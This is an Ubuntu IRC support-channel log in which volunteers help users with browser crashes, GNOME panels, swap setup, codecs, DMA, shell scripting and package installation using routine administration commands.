[04:35] <oblib> sorry do .opera
[04:35] <oblib> ls -l .opera
[04:35] <Drac[Away] > What's the command to temporarily mute all channels in ALSA?
[04:35] <petaruwaru> oblib, gives me a realy long list of stuff
[04:36] <Francisco> can you help me? how can I actualizar! my pc with aptitude.??
[04:36] <Francisco> can you help me? how can I actualizar! my pc with aptitude.??
[04:36] <Grark> Are there any good "quicken" alternatives on ubuntu?
[04:36] <guru> Hi
[04:36] <kfirb> pww: yes, but if you d/l multiple torrents, it opens in seperate windwos + you can't get much statistics (about peers etc..)
[04:36] <Francisco> sudo apt-get install aptitude
[04:36] <guru> i am new here is this like a reguler chat rooms or is it just for Linux
[04:36] <Francisco> estabien
[04:36] <oblib> petaruwaru, yeah just realized that. lets just try renaming it -- mv .opera .opera_old
[04:36] <Titan> anyone here play World of Warcraft on Ubuntu?
[04:37] <pww> kfirb Oh, I thought you wanted simple! :-> Sorry, bittorrent works for my simple needs.
[04:37] <petaruwaru> oblib, alright, now what?
[04:37] <oblib> petaruwaru, no errors? Then try running opera
[04:38] <oblib> petaruwaru, you didn't have to 'sudo' it right?
[04:38] <guru> exiting
[04:38] <petaruwaru> oblib, no I didn
[04:38] <OmegaAlpha> fuz, I have ATI maybe I can help you
[04:38] <petaruwaru> oblib, ran again, got the same error
[04:38] <petaruwaru> oblib, opera again that is
[04:39] <petaruwaru> oblib, should I just try and do java now? do you think that would solve my problem?
[04:39] <hector> hola a todos
[04:39] <rukuartic> hector: hables espanol?
[04:39] <OmegaAlpha> fuz, anything to do with Direct Rendering . 3d acceleration?
[04:40] <oblib> petaruwaru, that means it is something wrong with the system. It's segmentation fault that is killing you, not necessarily the java errors
[04:40] <petaruwaru> oblib, so what can I do about that?
[04:40] <oblib> I would try doing an apt-get install of opera first, so remove it with dkpg, and follow the instructions on the wiki
[04:40] <petaruwaru> oblib, k
[04:40] <oblib> I gotta bail
[04:40] <petaruwaru> oblib, what about my system problems?
[04:40] <oblib> petaruwaru, good luck
[04:41] <petaruwaru> oblib, k, thanks for all the help
[04:41] <fuz> yes! please... i'm trying to get my 9800SE to run Xgl.
[04:41] <oblib> petaruwaru, not sure -- still just something affecting opera
[04:41] <fuz> been a bit of a nightmare
[04:41] <Grark> !gnucash
[04:41] <ubotu> hmm... gnucash is a personal finance manager developed at gnucash.org
[04:41] <oblib> petaruwaru, keep trying here (I don't know that much)
[04:41] <petaruwaru> oblib, k, I guess I'll figure it out eventually
[04:41] <petaruwaru> oblib, you know more than I do
[04:41] <oblib> petaruwaru, and use firefox until then?  :)
[04:41] <petaruwaru> oblib, yea
[04:41] <Grark> ubotu, is it part of the apt-get?
[04:41] <ubotu> Grark: Syntax error in line 1. Try searching at http://ubuntu.cc.com.au/
[04:41] <petaruwaru> oblib, guess I'll split to then
[04:42] <oblib> petaruwaru, all it takes to learn what I know is to try to set up MythTV. Whew
[04:42] <intelikey> i got a memo.  "Frogzoo asked me to pass this:seems the problem with libproc is bad file permissions (needs 755)'  i tested it.  didn't change a thing.  in fact that was already the permission on my libproc* file.      i don't think it actually has anything at all to do with libproc, even though that is the error message.   i think it is shell related.    or possably a dangling symlink some place.
[04:42] <Phuzion> How would I go about adding a user to a group?
[04:42] <rukuartic> You guys able to reccomend an explorer with the functionality of firefox, but a lighter load on memory/processer?
[04:42] <_jason> Grark: gnucash is in universe
[04:42] <leogibson> can anyone reccomend a more adjustable desktop environment than the default gnome with ubuntu?
[04:42] <leogibson> shot in the dark
[04:42] <_jason> leogibson: kde I suppose
[04:42] <leogibson> anything
[04:42] <leogibson> no
[04:42] <Phuzion> rukuartic:  Might I suggest you either get more RAM, or not use the verison of FX that has the memory leak.
[04:42] <leogibson> thats for gnome
[04:42] <Grark> Thanks _jason
[04:42] <tritium> Grark: there's also grisbi
[04:42] <_jason> leogibson: huh?
[04:42] <fuz> OmegaAlpha, can you help me with an Xgl issue?
[04:43] <intelikey> leogibson kde
[04:43] <rukuartic> Phuzion: What, 256 isn't enough? XD
[04:43] <Grark> which one is closer to quicken if you know?
[04:43] <leogibson> im using gnome, i dont like kde, but i want gnome to have more options for resizing its menus toolbars ect
[04:43] <Phuzion> If you're having memory issues, then it might not be.
[04:43] <fluxt> leogibson, fluxbox ?
[04:43] <kfirb> pww: well, I guess not that simple, but a most important a 'light' onw
[04:43] <leogibson> ok thank you
[04:43] <reggaemanu> leogibson, epiphanie, galeon, ...
[04:44] <Phuzion> rukuartic:  On my Windows machine, I'm running 1280 MB, but that's because it's primarily used for web development with like somewhere near 40 programs open at once, and gaming on the side.
[04:44] <leogibson> much obliged
[04:44] <Toma-> fuz: try #xgl or #ubuntu+1
[04:44] <fluxt> leogibson, resizing menus of gnome/kde apps are part of gnome/kde
[04:44] <intelikey> leogibson e15 ?
[04:44] <fuz> ok. thx toma
[04:44] <rukuartic> Phuzion: I'm running a really l33t server... 1.2ghz/256 mb ram running on a toaster with wireless lan
[04:44] <reggaemanu> epiphany*
[04:44] <fluxt> e15 is pretty :)
[04:44] <rukuartic> Phuzion: Every time I go tomake breakfast, all the kiddies on the server are like "LAAAAG"
[04:44] <Nunquam_Fidelis> Can someone help me in installing GRUB via the most recent Dapper Drake LiveCD?
[04:44] <leogibson> all research all of these thanks for the input
[04:45] <Grark> Thanks again folks!
[04:45] <userbn_> psek
[04:45] <Phuzion> rukuartic:  I read that last part as "wireless ram" which made me chuckle, because my friend picked up my PCI 802.11G card one day and asked if it was "wireless ram"
[04:45] <fluxt> and you said "yes"
[04:46] <rukuartic> Phuzion: Wireless ram would be awesome
[04:46] <V4Vendetta> isn't all ram wireless
[04:46] <V4Vendetta> lmfao ..
[04:46] <rukuartic> Phuzion: Don't even have to install it, just stick it on your desk... move around from place to place...
[04:46] <rukuartic> V4Vendetta: Not in that sense
[04:46] <reggaemanu> leogibson, there is flock too
[04:46] <reggaemanu> based on gecko (as epiphany and galeon)
[04:46] <Phuzion> V4Vendetta:  Technically, yeah, lol.
[04:46] <V4Vendetta> baobab is a great program
[04:46] <Francisco> I need help
[04:47] <intelikey> !helpme
[04:47] <ubotu> If you do not actually ask a question, we can not actually help you.
[04:47] <rnd_null> ok, so i used the synaptic package manager install the nvidia drivers just the wiki help file said to...but, according to file, it didn't work.  now some things wont work either, like the synaptic program and it also wont let me adjust my clock...any ideas?
[04:47] <mian1ak> in the basic shell instilation, after a little while the screen turns itself off, i have cjecked the bios and it is set to always be on, can someone tell me the config file used to do this so i can dissable it?
[04:48] <leogibson> flux, how do i resize these menus and stuff in gnome without installing an x manager
[04:48] <Francisco> when I star ubuntu I should see the screen whit ubuntu typed. and it is not there.. I see a screen with the welcome of kubuntu. can any one help me?
[04:48] <_jason> ubotu: tell Francisco about usplashchange
[04:49] <flodine> anyone use a tv card and zapping
[04:49] <_jason> Francisco: wait, which screen exactly?  the login one or the splash screen?
[04:49] <jminta> can anyone tell me what i need to do to get my mouse theme working in dapper? it disappear when i upgraded
[04:50] <Francisco> _jason, the fist when it stars..
[04:50] <leogibson> how do i resize these menus and stuff in gnome without installing an x manager a big reason i installed ubuntu is to have more control over the size of the desktop, i mean all these people always have screenshots of massive desktop space with tiny toolbars and stuff
[04:50] <Francisco> breofre when you longin
[04:50] <Draconicus> What's the command to temporarily mute all channels in ALSA?
[04:50] <leogibson> how do i change this in gnome? i cant find it in the system or anything menus
[04:50] <_jason> Francisco: ok, for that you can jsut follow ubotu's instructions
[04:50] <intelikey> mian1ak check your bios more closely.  if you are talking about 'console mode' (without xorg) there is no screen saver that i know of.  it is bios.    and always on in bios does not mean that it is not blank, only that it is not powered off.
[04:50] <rukuartic> mian1ak: if you're using screen you can lock it with ctrl+x
[04:51] <Nunquam_Fidelis> Can someone help me in installing GRUB via the most recent Dapper Drake LiveCD?
[04:51] <Francisco> _jason, I installed the kkubuntu desktop but I have removed ." but even today I see it.."
[04:51] <_jason> Francisco: did you get a private message from ubotu?
[04:51] <Francisco> _jason, yeah."
[04:51] <_jason> Francisco: did you try doing what he said?
[04:52] <Francisco> _jason,  and now when I want install amarok it says there is not a candidant
[04:52] <mark__> Anyone know where I can get a pre built VNC
[04:52] <leogibson> can anyone point me in the direction as to where in gnome i can modify the size of my desktop invironment, NOT THE RESOLUTION, but the scale of everything like in windows: appearances menu in the desktop properties??
[04:53] <_jason> Francisco: let's take care of one thing at a time.  let me know if ubotu's instructions fix your usplash problem
[04:53] <_jason> !info vnc
[04:53] <mark__> !info vnc
[04:53] <_jason> oops, read that as vlc for some reason
[04:53] <leogibson> i wish i could be in windows so i could take a screenshot for everyone to see
[04:53] <_jason> mark__: ubuntu comes with vino vnc I believe
[04:53] <leogibson> and put a big arrow on what im talking about inaint p
[04:54] <leogibson> maybe ill go search the forums how to do that in ubuntu
[04:54] <intelikey> !tell mark__ about repos
[04:54] <_jason> leogibson: you can take screenshots.  Press the PrntScrn button
[04:54] <oklinux> any one use efax in ubuntu ?
[04:54] <leogibson> yes, i would have guess such
[04:54] <mark__> jason: Does it have a web server light tight vnc ?
[04:54] <tristanmike> leogibson, you mean change the size of the panels ?
[04:54] <leogibson> guessed
[04:54] <leogibson> yes
[04:54] <leogibson> i think?!
[04:54] <leogibson> !!!
[04:54] <ubotu> Huh? Try searching at http://ubuntu.cc.com.au/, leogibson
[04:54] <Madpilot> leogibson, try pressing the Print Screen key :P
[04:54] <_jason> !info tightvncserver
[04:54] <ubotu> tightvncserver: (virtual network computing server software), section universe/x11, is optional. Version: 1.2.9-6build1 (breezy), Packaged size: 610 kB, Installed size: 1364 kB
[04:55] <leogibson> I JUST WANT MY TOOLBARS TO BE SMALLER
[04:55] <tristanmike> leogibson, press "alt+print screen" to capture a screenshot of the current active window
[04:55] <_jason> ubotu: tell mark__ about universe
[04:55] <leogibson> i know how to take screenshots jesus
[04:55] <_jason> mark__:                           universe/x11, is optional. Version: 1.2.9-6build1 (breezy), Packaged size:
[04:55] <_jason> hrmm
[04:55] <Madpilot> leogibson, right-click on them, choose Properties, set the height
[04:55] <tritium> leogibson: calm down, and be polite please
[04:55] <Francisco> _jason, the first step works but the second it say linux-image does not installed
[04:55] <Francisco> _jason, I type like fromeroc@ubuntu:~$ sudo dpkg-reconfigure linux-image- `uname -r`
[04:55] <Francisco>  it is correct."
[04:55] <_jason> Francisco: paste exactly what you entered as the command
[04:56] <mark__> jason...System -> Add Applications ?
[04:56] <leogibson> it wont let me make it smaller!!!!
[04:56] <ubushine> hey kids
[04:56] <_jason> mark__: use system > administration > synaptic
[04:56] <mark__> Thanks jason
[04:56] <mark__> :)
[04:56] <Madpilot> leogibson, which panels are you talking about? The top & bottom desktop ones in Gnome?
[04:56] <leogibson> Madpilot, it wont let me make them smaller
[04:56] <leogibson> my main toolbar
[04:56] <leogibson> as in
[04:56] <_jason> Francisco: no space: linux-image-`uname -r`
[04:56] <leogibson> whats below all the program boxes
[04:56] <ubushine> anyone see this error before.  (gnome-calculator:9591): Gtk-WARNING **: Locale not supported by C library.
[04:56] <ubushine>  Using the fallback 'C' locale.
[04:56] <leogibson> with all the menus in it
[04:56] <MATTH3S> IM BORED
[04:56] <leogibson> apps system places
[04:57] <leogibson> all that
[04:57] <leogibson> i want that smaller
[04:57] <intelikey> Francisco  no space.  linux-image- `uname -r`    linux-image-`uname -r`
[04:57] <tritium> !tell leogibson about enter
[04:57] <warpzone> hi, basic linux question, but how can I tell what group a folder belongs to?
[04:57] <oklinux> hey MATTH3S help me with a efax program
[04:57] <Madpilot> leogibson, yeah. right-click, Properties, look for the size spinner - that doesn't work?
[04:57] <Francisco> _jason, done ok
[04:57] <_jason> warpzone: ls -ld folder
[04:57] <leogibson> no
[04:57] <leogibson> it doesent
[04:57] <Madpilot> warpzone, right-click, Properties
[04:57] <warpzone> _jason thanks
[04:57] <mian1ak> intelikey: thanx i will check that again,
[04:57] <MATTH3S> HUH?
[04:57] <warpzone> madpilot thanks as well
[04:57] <Francisco> _jason, ok now??
[04:57] <_jason> Francisco: ok, now what was your amarok problem?
[04:58] <ubushine> anyone?? Gtk-WARNING **:
[04:58] <Madpilot> MATTH3S, turn your CAPS key off, thanks
[04:58] <oklinux> can some one help me on efax ?
[04:58] <_jason> Francisco: you are set with the uspasl, you can reboot to check if you want
[04:58] <MATTH3S> Y?
[04:58] <bimberi> leogibson: Try reducing font sizes in System -> Preferences -> Font
[04:58] <_jason> Francisco: s/uspasl/usplash
[04:58] <Madpilot> leogibson, I've shrunk my panels down to 24px high, and it'll go smaller still - how low do you need them?
[04:58] <Francisco> _jason, when I want to install somethinf of kde like kile, amarok, kopete, it say there is not a candidat..
[04:59] <ubushine> anyone know how to change/edit localization?
[04:59] <intelikey> mian1ak i personally like having the screen go blank in 15 minutes or so,  but some don't.    most bios's support adjusting that to your own liking.
[04:59] <Francisco> _jason, set with what.."
[04:59] <Francisco> ??
[04:59] <_jason> Francisco: put your /etc/apt/sources.list on http://paste.ubuntu-nl.org/ please
[04:59] <leogibson> madpil,  want them at like ten, but its stuck on 23
[04:59] <_jason> Francisco: I mean your usplash problem should be resolved
[04:59] <MATTH3S> im bored excite me
[04:59] <leogibson> well  i give up for now
[04:59] <Francisco> _jason, ok.. bue just open soureces and pasted ok
[05:00] <_jason> Francisco: give me a link when you are done :)
[05:00] <tritium> MATTH3S: /join #ubuntu-offtopic
[05:00] <bimberi> leogibson: Again, try reducing font sizes in System -> Preferences -> Font
[05:00] <V4Vendetta> how do i remove a directory that isn't empty using terminal ftp/
[05:00] <V4Vendetta> ?
[05:00] <intelikey> MATTH3S check and see if your   w  who  work propperly.
[05:00] <oklinux> MATTH3S open the windows
[05:01] <MATTH3S> nnnnnnnnnnnnnnnno
[05:01] <ubushine> any command line folks know where localization settings are?
[05:01] <_jason> V4Vendetta: rm -r?
[05:01] <intelikey> V4Vendetta rm -fr ?
[05:01] <rukuartic> _jason: its FTP
[05:01] <Francisco> _jason I am on hte dir. but how can I open it
[05:01] <V4Vendetta> ahh it,s mdelete
[05:01] <rukuartic> intelikey: Remove france!? :O
[05:01] <_jason> rukuartic: thus the '?', I wasn't sure :)
[05:02] <intelikey> that's a thought rukuartic
[05:02] <Psykus> i neglected to set up a swap partition during setup, and now I think it's causing problems in gnome...how do I set one up after i've already installed ubuntu?
[05:02] <rukuartic> _jason: Oh :P
[05:02] <_jason> Francisco: gedit /etc/apt/sources.list
[05:02] <ubushine> hey folks -- anyone use enlightenment?
[05:02] <Psykus> i know how to create a partition, do I just need to mount it to a certain part of the filesystem?
[05:02] <fiveiron> anyone play counterstrike in linux?
[05:02] <powder> Hello all.  Is SAMBA necessary for my Ubuntu machine to connect to a Windows share on my network?
[05:02] <warpzone> _jason: is it possible to edit the group that a folder belongs to? I can't find the command anywhere
[05:03] <rukuartic> warpzone: chown
[05:03] <_jason> warpzone: chgrp
[05:03] <_jason> warpzone: or chown too
[05:03] <warpzone> ooo seems intuitive, thanks
[05:03] <intelikey> rukuartic not sure about venella  ftp  but ncftp supports   rm -fr <target>    try it and see.
[05:03] <bimberi> powder: no, smbclient is, and it is installed by default, Places -> onnect to Server
[05:03] <rukuartic> warpzone: chown would be "chown <user>:<group> file
[05:03] <fiveiron> powder: i think you can just mount the share as smbfs
[05:03] <bimberi> *Connect
[05:03] <rukuartic> intelikey: Heh... I like plain old FTP
[05:03] <fiveiron> oh... or what bimberi said... ;)
[05:03] <ubushine> anyone try elive?
[05:03] <powder> haha thanks guys :)
[05:03] <Grark> and for that, gftp works great
[05:03] <rukuartic> warpzone: and if you want to change all the folders/files beneath it, add -R
[05:04] <sjm> anyone here using breezy amd64?
[05:04] <Francisco> _jason, http://paste.ubuntu-nl.org/10317
[05:04] <warpzone> roger dodger, thanks again
[05:04] <bimberi> !tell powder about mountwindows
[05:04] <Grark> ok I have one more thing on my wishlist.
[05:04] <intelikey> rukuartic yeah so try the command and tell us if it works or not.
[05:04] <Grark> good business software...like quickbooks
[05:04] <_jason> Francisco: you use automatix?
[05:04] <ubushine> wondering if i was invisible?
[05:04] <bimberi> fiveiron: :)
[05:04] <Francisco> _jason, yeah.."
[05:05] <sjm> nobodys using the amd64 kernel?
[05:05] <Psykus> anyone? what do I need to do to make a swap partition?
[05:05] <ufo> sjm, i do
[05:05] <ubushine> i think this invisible font is working perfectly
[05:05] <_jason> Francisco: ok pastebin the errors you get with sudo aptitude install amarok
[05:05] <sjm> ufo, have you gotten any video or audio codecs to work?
[05:05] <Francisco> _jason, do you understand spanish coz it is."
[05:06] <ubushine> i wish i were this invisible in real life
[05:06] <ufo> sjm, yes use ffmpeg for video
[05:06] <_jason> Francisco: that's fine
[05:06] <intelikey> Psykus cfdisk /dev/<drive>     maybe drive=hda ?     and make a linux swap partition on it....
[05:06] <sjm> i cant seem to get it to work.  Im pretty sure I have it installed w/ totem
[05:06] <intelikey> that assumes there is free space....
[05:06] <Psykus> intelikey: then linux should use it as a swap partition automatically?
[05:06] <ufo> sjm,
[05:06] <tritium> Psykus: you'll have to use a partition resizer to make room for it first
[05:06] <ufo> !restricted
[05:06] <ubotu> from memory, restricted is https://wiki.ubuntu.com/RestrictedFormats  Most of the formats listed here can be replaced by !FreeFormats
[05:06] <ubushine> wow, 10 posts so far and not one bite
[05:06] <intelikey> Psykus yep
[05:07] <Francisco> _jason, I do not know what is going on but It has fixed.. "
[05:07] <Psykus> there's room already, I left 15 GB on that drive
[05:07] <Psykus> ok then
[05:07] <ubushine> is there a test chanel just so i can see if my font is indeed NOT invisible!!!
[05:07] <_jason> Francisco: ok :)
[05:07] <fuz> well... no dice on #ubuntu+1 #ubuntu-xgl or #xgl.  please, can anybody help with an dapper5/ATI problem??
[05:07] <fiveiron> anyone play counterstrike in linux?
[05:07] <tritium> ubushine: please stop
[05:07] <tritium> fuz: #ubuntu+1
[05:07] <fiveiron> or rather, has anyone gotten steam to work in wine?
[05:07] <ubushine> tritium, holy crap. thanks
[05:07] <rukuartic> fuz: I'd like to help ya, but if its dapper ya really won't find anything here
[05:07] <rukuartic> !tell fiveiron about cedega
[05:08] <fuz> k. i'll keep at it
[05:08] <intelikey> make the partition with cfdisk then  run  mkswap /dev/<the new part>       <the new part>=hda6 maybe ?
[05:08] <FunnyLookinHat> tritium, haven't seen you in a while  : )
[05:08] <AngryElf> hey all, i'm trying to dpkg a file and it's attempting to "ls /boot/vmlinuz-*"  but it's erroring because of that hyphen right there........it really should be doing "ls /boot/vmlinuz*".......is it possible there is a simple workaround for this?
[05:08] <fiveiron> rukuartic: i'd rather not pay to use my games
[05:09] <sjm> ufo, still there?
[05:09] <Draconicus> What's the command to temporarily mute all channels in ALSA?
[05:09] <pbransford> can i get some opinions on a forum sig?
[05:09] <tritium> Hi FunnyLookinHat :)
[05:09] <ufo> sjm, yes
[05:09] <Francisco> _jason, when I have windows I could see so good the DVD on my pc. and the video too. And Id do some activitys at same time and no problem .. and with ubuntu I have some troubles with DVD cos it sees like paused.."
[05:09] <pbransford> pbransford@epicenter.groundzero:~$ fortune -lo > $FORUM/newreply.php?do=newreply&p=$OPENTHREAD
[05:09] <pbransford> any good?
[05:10] <FunnyLookinHat> tritium, has anyone heard what the final decision was with the dapper delay?  I attended the second meeting held on tuesday but wasn't sure what the decision was
[05:10] <intelikey> Psykus linux should load it automaticly on reboots  but you can load it with   swapon /dev/<swap>       swap=hda6 maybe,  what ever address is correct....
[05:10] <_jason> Francisco: did you enable dma?
[05:10] <sjm> ufo, sorry i have no experience getting codecs to work in linux, is there something I should read about getting videos working?
[05:10] <V4Vendetta> sjm, sudo apt-get install w32codecs
[05:10] <ufo> sjm, yes !restricted
[05:10] <tritium> FunnyLookinHat: I haven't heard anything yet...
[05:10] <FunnyLookinHat> oh.
[05:10] <ufo> !tell sjm about restricted
[05:10] <Francisco> _jason, I am not idea
[05:10] <pbransford> no opinions?
[05:11] <_jason> ubotu: tell Francisco about dma
[05:11] <p_sek> hi
[05:11] <p_sek> hi,how are u
[05:11] <IdleOne> anybody here have experience creating a crontab?
[05:11] <sjm> ufo, whats that?
[05:11] <Draconicus> I need to mute all ALSA channels with the click of a button. For this, I need some kind of command or some such that will mute and umute every ALSA channel. Can somebody please help me?
[05:12] <tonyyarusso> FunnyLookinHat: They said a decision would be sent out by the end of the week.
[05:12] <MasterJ> Anyone good with Shell scripting?
[05:12] <FunnyLookinHat> tonyyarusso, On the ubuntu-news mailing list I assume?
[05:12] <ufo> sjm, open the link and there is howto install all the codecs
[05:12] <_jason> Draconicus: not really but I can refer you to man amixer for a start
[05:12] <Draconicus> _jason: Thanks.
[05:12] <Francisco> _jason, It do not think so couse the NEROlinux say taht.. DMA it now enable..
[05:13] <tonyyarusso> FunnyLookinHat: Prob'ly.  You can get the log of the mtg too apparently, although that won't have the actual decision (check the /topic in the mtg room).
[05:13] <intelikey> IdleOne if it is just an hourly/daily/or weakly job that you want ran make a shell script and chuck it in the approprate /etc/cron*/ directory
[05:13] <sjm> thanks much ufo
[05:13] <ufo> sjm, np
[05:13] <sjm> they will work in amd64 bit im guessing?
[05:13] <intelikey> MasterJ what ya need ?
[05:13] <FunnyLookinHat> tonyyarusso, cool beans, thanks
[05:13] <ufo> sjm, there is an section for 64bit
[05:14] <michael> how can I fix this problem?? http://paste.ubuntu-nl.org/10318
[05:14] <Nunquam_Fidelis> Can someone help me in installing GRUB via the most recent Dapper Drake LiveCD?
[05:14] <solid_liq> I edited my /etc/config/wireless.opts file, now how do I bring up my ath0 interface with what I set in there?
[05:14] <MasterJ> intelikey: I need to ask for user input yes/no and if yes then launch a command if no exit the terminal
[05:14] <MistaED> dma i hope will be enabled by default (or better yet a way to detect via the bios or something) in dapper drake
[05:14] <Nunquam_Fidelis> bah
[05:15] <solid_liq> er, /etc/pcmcia/wireless.opts file that is
[05:15] <IdleOne> intelikey>  I havent a clue how to do that
[05:15] <tritium> solid_liq: you can set wireless options in /etc/network/interfaces.  you shouldn't need to touch other wireless.opts
[05:15] <Francisco> _jason,
[05:15] <MasterJ> intelikey: I am trying to use the read command but i am new to this so it isn't working
[05:15] <ufo> michael, have you tried apt-get intall lisp? donno try
[05:15] <Nunquam_Fidelis> Well thanks for all the offers for help anyway =P
[05:15] <michael> k
[05:15] <_jason> Francisco: I don't know what else would cause jerky playback.  What are your specs?
[05:16] <jumpkick> I've something is messed up with my ubunutu's DNS resolution, I can ssh in but when I try to ping out I get "ping: unknown host yahoo.com", when I do a sudo pump -i eth0, it fixes things, but I'm wondering were the source of the problem might be...  any suggestions?
[05:16] <MasterJ> I can get it to pause and wait for the input but it doesn't do anything with it
[05:16] <intelikey> MasterJ   read -n1 -p'the prompt you want them to see' VAR ;if [ "$VAR" = "y" ]  ;then command ;fi
[05:16] <solid_liq> tritium: how do I spec my wireless interface in there?
[05:16] <xBeatrix> anybody how to mount a windows partition?
[05:16] <michael> can't find package lisp
[05:16] <MATTH3S> Y CANT U DOWNLOAD ANYTHING ON UBUNTU?!?!?!?!?!?!?
[05:16] <rnd_null> i just had a really strange problem, can anyone explain to me what caused it and how what i did fixed it? (1st day of linux for me)
[05:16] <bimberi> michael: try clisp
[05:17] <EdLin> michael, you're looking for Common LISP?
[05:17] <solid_liq> rnd_null: only if you describe what happened :D
[05:17] <EdLin> michael, I run sbcl
[05:17] <ufo> michael, apt-get install libdlisp0-dev
[05:17] <tristanmike> MATTH3S, please turn off your caps button :)
[05:17] <rnd_null> solid_liq, no prob, is there another room with less people in it we can use?
[05:17] <EdLin> michael, a number of open-source lisps are apt-getable
[05:17] <michael> what's sbcl?
[05:17] <MATTH3S> NO
[05:17] <EdLin> michael, sbcl is a fork of CMUCL
[05:17] <mrnicksgirl> :( I installed Ubuntu.. and now I have a problem with the hotplug system starting.. I've found several posts in forum about it but nothing that I can see to do
[05:17] <solid_liq> rnd_null: no, just use this channel
[05:17] <intelikey> MasterJ     for more info  install  bash-doc  or bash3-doc  and man bash     also    type  help read
[05:17] <tristanmike> !caps
[05:18] <ubotu> caps is probably FYI, typing in ALL CAPS is considered to be 'yelling', and therefore rude behaviour.
[05:18] <ufo> michael, apt-cache search lisp dev
[05:18] <michael> i just want to install maxima on ubuntu
[05:18] <tritium> enough, MATTH3S
[05:18] <solid_liq> tritium: how do I spec my wireless interface in there?
[05:18] <MATTH3S> Y CANT U DOWNLOAD ANYTHING ON UBUNTU?!?!?!?!?!?!?
[05:18] <ithiel> !xgl
[05:18] <ubotu> XGL on Ubuntu: http://wiki.ubuntu.com/XglHowto - Join #ubuntu-xgl for all the XGL fun on Ubuntu systems. It works ONLY on dapper. Pretty videos on http://www.novell.com/linux/xglrelease/
[05:18] <tritium> you can, MATTH3S
[05:18] <MATTH3S> HOW?
[05:18] <tritium> turn off your caps please, MATTH3S
[05:18] <Francisco> _jason, /dev/hdc: No such file or directory
[05:18] <Francisco> it say
[05:18] <MATTH3S> fine
[05:19] <rnd_null> solid_liq, ok- so i finished installing ubuntu and shortly after had a video card or bios problem, not sure which.  i cleared my bios after i found that there was video coming out of my card and i got video back (more)
[05:19] <MATTH3S> how?
[05:19] <_jason> Francisco: what caused that?
[05:19] <tristanmike> MATTH3S, what are you trying to get ?
[05:19] <tritium> solid_liq: one second, please
[05:19] <MATTH3S> music
[05:19] <Francisco> sudo hdparm /dev/hdc
[05:19] <solid_liq> tritium: thanks
[05:19] <michael> seems to be working, thanks
[05:19] <tristanmike> MATTH3S, from iTunes ?
[05:19] <Francisco> _jason: sudo hdparm /dev/hdc
[05:20] <_jason> Francisco: ``These instructions assume that you are trying to enable DMA on hdc, usually the CD-rom drive.'' Yours is probably something else
[05:20] <MATTH3S> it wont download on here
[05:20] <intelikey> MasterJ  any more questions ?
[05:20] <rnd_null> solid_liq, i started ubuntu (gnome) back up and went to look for an nvidia driver, i tried the nvidia.com drivers, but got confused.  someone in this room referred me to a wiki file on using the synaptic tool (more)
[05:20] <tristanmike> !tell MATTH3S about itunes
[05:20] <Francisco> _jason and how can I know correctly..
[05:20] <solid_liq> !itunes
[05:20] <ubotu> somebody said itunes was a Mac OS/Windows app, but you can use SharpMusique in Linux instead (sudo apt-get install sharpmusique), and it works for all of the same things with the iTunes music store, libraries, etc.
[05:20] <MasterJ> intelikey: not sure I am trying to get that to work
[05:20] <michael> does it matter that i forgot to do $make, before $make check
[05:21] <tritium> solid_liq: for more info, man wireless
[05:21] <frank23> what does make check do?
[05:21] <solid_liq> tritium: ok, thanks!
[05:21] <_jason> Francisco: good question, I don't remember :)  Someone else here probably does though
[05:21] <rnd_null> solid_liq, i followed the how-to and and hit ctr-alt-bkspc and the output i got was not what it said i should get....then most of my apps stopped working....well, not the big ones, just the gnome only ones, like the clock, weather update, and various other things like that (more)
[05:21] <michael> idk, dircetions are $./configure, $make, $make check, $make install
[05:21] <tritium> solid_liq: solid_liq let me know if you have further questions
[05:21] <mrnicksgirl> what is the hot plug system?
[05:21] <michael> i did make check b4 make
[05:22] <Francisco> some one know how can I know my hdc of my cd writter??
[05:22] <_jason> he means /dev device
[05:22] <MATTH3S> u all r no help
[05:22] <michael> it's doing a lot of compiling, is that what make does?
[05:22] <MATTH3S> thanx 4 nothing
[05:22] <rnd_null> solid_liq, i rebooted the computer and x would not load.  i read through the log files got confused and rebooted again...x wouldn't start (more)
[05:22] <frank23> michael well make is definitely necessary. that's the one that compiles the program
[05:22] <intelikey> MasterJ only substitute the parts marked with <>  in the --->  read -n1 -p'<the prompt you want them to see>' VAR ;if [ "$VAR" = "y" ]  ;then <command> ;fi     <---- also in case you didn't know all the   ;   marks are line breaks  if you prefer you can substitute return start new line  for each  ;
[05:23] <_jason> ubotu: tell MATTH3S about patience
[05:23] <Francisco> some one know how can I know my hdc of my cd writter??
[05:23] <Francisco> some one know how can I know my hdc of my cd writter??
[05:23] <michael> if it's spent a lot of time doing some compiling, is that probably making up for lack of make>
[05:23] <michael> because now its doing tests
[05:23] <mikebot> how hard is it tos et up an apache server in ubuntu?
[05:23] <mikebot> ah you're the one who registered my name ;)
[05:23] <frank23> michael compiling takes time. just let it finish
[05:23] <devians> mikebot, apt-get install apache2
[05:23] <devians> that hard
[05:23] <MasterJ> intelikey: I can
[05:23] <mikebot> devians, thanks--i meant using it too :)
[05:24] <michael> ok, i'm redoing it
[05:24] <powder> mikebot, i just set up an apache server and it took me ike 5 minutes :)
[05:24] <MasterJ> intelikey: I can
[05:24] <frank23> michael I'm not sure what make check does but it's a good idea to substitute the make install step with checkinstall
[05:24] <mikebot> poeoh okay
[05:24] <rnd_null> solid_liq, so i read the log files closer and went in and looked at the log files with nano.  i found in xorg.conf a command listed to rebuild the file, so i ran it.  now x works works.  what i want to know is what happend with that file that caused x not to load?
[05:24] <devians> just edit the conf file, run apache2 from bash
[05:24] <Francisco> some one know how can I know my hdc of my cd writter??
[05:24] <MasterJ> intelikey: I can't type dangit
[05:24] <devians> /var/www/ is the htdocs
[05:24] <michael> does checkinstall install the prog?
[05:24] <intelikey> you can   it will work as one line or as many.   only break at simicolens.
[05:24] <rnd_null> solid_liq, (i proud of myself for fixing it too)
[05:24] <MasterJ> intelikey: It accepts the input but does nothing
[05:25] <_Lamont_> Hmm... anyone knwo why sshd doesn't start when I try to add 'GatewayPorts Yes' to sshd_config?
[05:25] <_jason> Francisco: try this: grep cdrom /etc/fstab
[05:25] <frank23> michael yes. use synaptic to install checkinstall. then you can use sudo checkinstall to install the program. checkinstall will make a .deb and install it for you
[05:25] <intelikey> what command did you supply MasterJ ?
[05:25] <mikebot> what do i do once i installed it?
[05:25] <MasterJ> yes
[05:25] <mikebot> do i need to download something for php too?
[05:25] <frank23> michael what program are you compiling anyways?
[05:25] <MasterJ> the command I am running is multisync
[05:25] <devians> apt-get install php
[05:25] <michael> checkinstall isn't a valid command - i'm trying to install maxima
[05:26] <_Lamont_> _jason btw I got the PHP/MySQL setup working - thanks for your help earlier today
[05:26] <_jason> _Lamont_: np
